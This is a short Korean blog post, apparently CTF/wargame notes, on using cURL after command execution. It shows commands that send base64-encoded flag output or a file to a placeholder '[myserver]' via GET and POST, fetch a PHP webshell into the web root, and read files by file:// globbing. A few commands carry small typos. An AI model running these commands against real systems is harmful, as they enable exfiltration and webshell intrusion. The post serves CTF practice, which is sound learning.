Home cURL with CTF
Post
Cancel

cURL with CTF

CTF나 워게임 문제를 풀 때 쉘 명령어로 /flag를 실행시키거나, /flag.txt와 같은 파일 내용을 가져와야 하는 경우가 있습니다.
이런 상황에서 쉘을 연결하지 않고 cURL를 이용하는 여러가지 방법을 알아봅시다.

What is Curl??

cURL은 client URL 이라는 뜻을 가지고 있습니다.
지원하는 프로토콜을 이용하여 URL로 데이터를 전송하여 서버에서 데이터를 보내거나, 가져옵니다.

CTF/워게임에서 명령어 실행이 가능할 때 /flag, /flag.txt에 있는 결과를 공격자의 서버로 전달하기 위해 자주사용합니다.

여기서 웹과 연결된 쉘이 바이너리 파일에 실행권한이 있어야 전달이 가능하며, flag.txt에는 읽기 권한이 있어야 전달이 가능합니다.

Example cURL

다음과 같이 서버에 flag 바이너리와 flag.txt 파일이 존재합니다. flag

각 내용은 아래와 같습니다.

1
2
3
flag -> FLAG{FLAG Binary!!!}

flag.txt -> FLAG{FLAG flag.txt!!}

GET Request Server

GET 통신을 이용하여 서버에 전달하는 방법입니다.
Payload를 보면 base64 인코딩을 하여 전달하는데 이는 그냥 전달 시 {,} 가 해석이 안되어 전달 자체가 불가능합니다.
이런경우 -g, --globoff 옵션을 주어 globbing을 끄면 되지만 내용에 공백이 있을 경우 또한 전달이 불가능합니다.

1
2
#/flag
curl http://[myserver]/?flag=`/flag|base64 -w0

flag1

1
curl http://[myserver]/?flag=`cat /flag.txt|base64 -w0`

flag1.txt

POST Request Server

POST 통신을 이용하여 서버에 전달하는 방법입니다.

-d, --data 옵션을 주어 파일 내용을 전달 할 수 있습니다.

1
curl -x POST http://[myserver]/ -d @/flag.txt

flag2

File upload

-o 옵션을 주어 외부에서 파일을 가져와 서버에 업로드 할 수 있습니다.
웹 쉘을 웹루트 폴더에 업로드가 되면 이를 이용이 가능합니다.

다만 curl의 명령어를 실행하는 위치에 파일 쓰기가 가능한 경우 사용이 가능합니다.

1
curl -0 webshell.php https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

phpupload

URL globbing

curl은 URL Globbing이 가능합니다.
간단하게 요약하자면 예약된 문자 {}, []를 사용하여 범위 입력이 가능합니다.

예시로 flag.txt 파일이 flag.랜덤한 8자리.txt 이런식으로 랜덤 값을 추측해야하는 경우 사용이 가능합니다. 다만 이런 경우 위에서 보았던 GET, POST에서 보았던 것 처럼은 사용은 안되지만 file:// 스킴이 사용 가능할 때 유용합니다.

1
2
flag99.txt -> flag[0-9][0-9].txt
curl file:///flag[0-9][0-9].txt

URL Globbing

후기

더 다양한 방법이 있을 것으로 예상되지만 우선은 여기까지!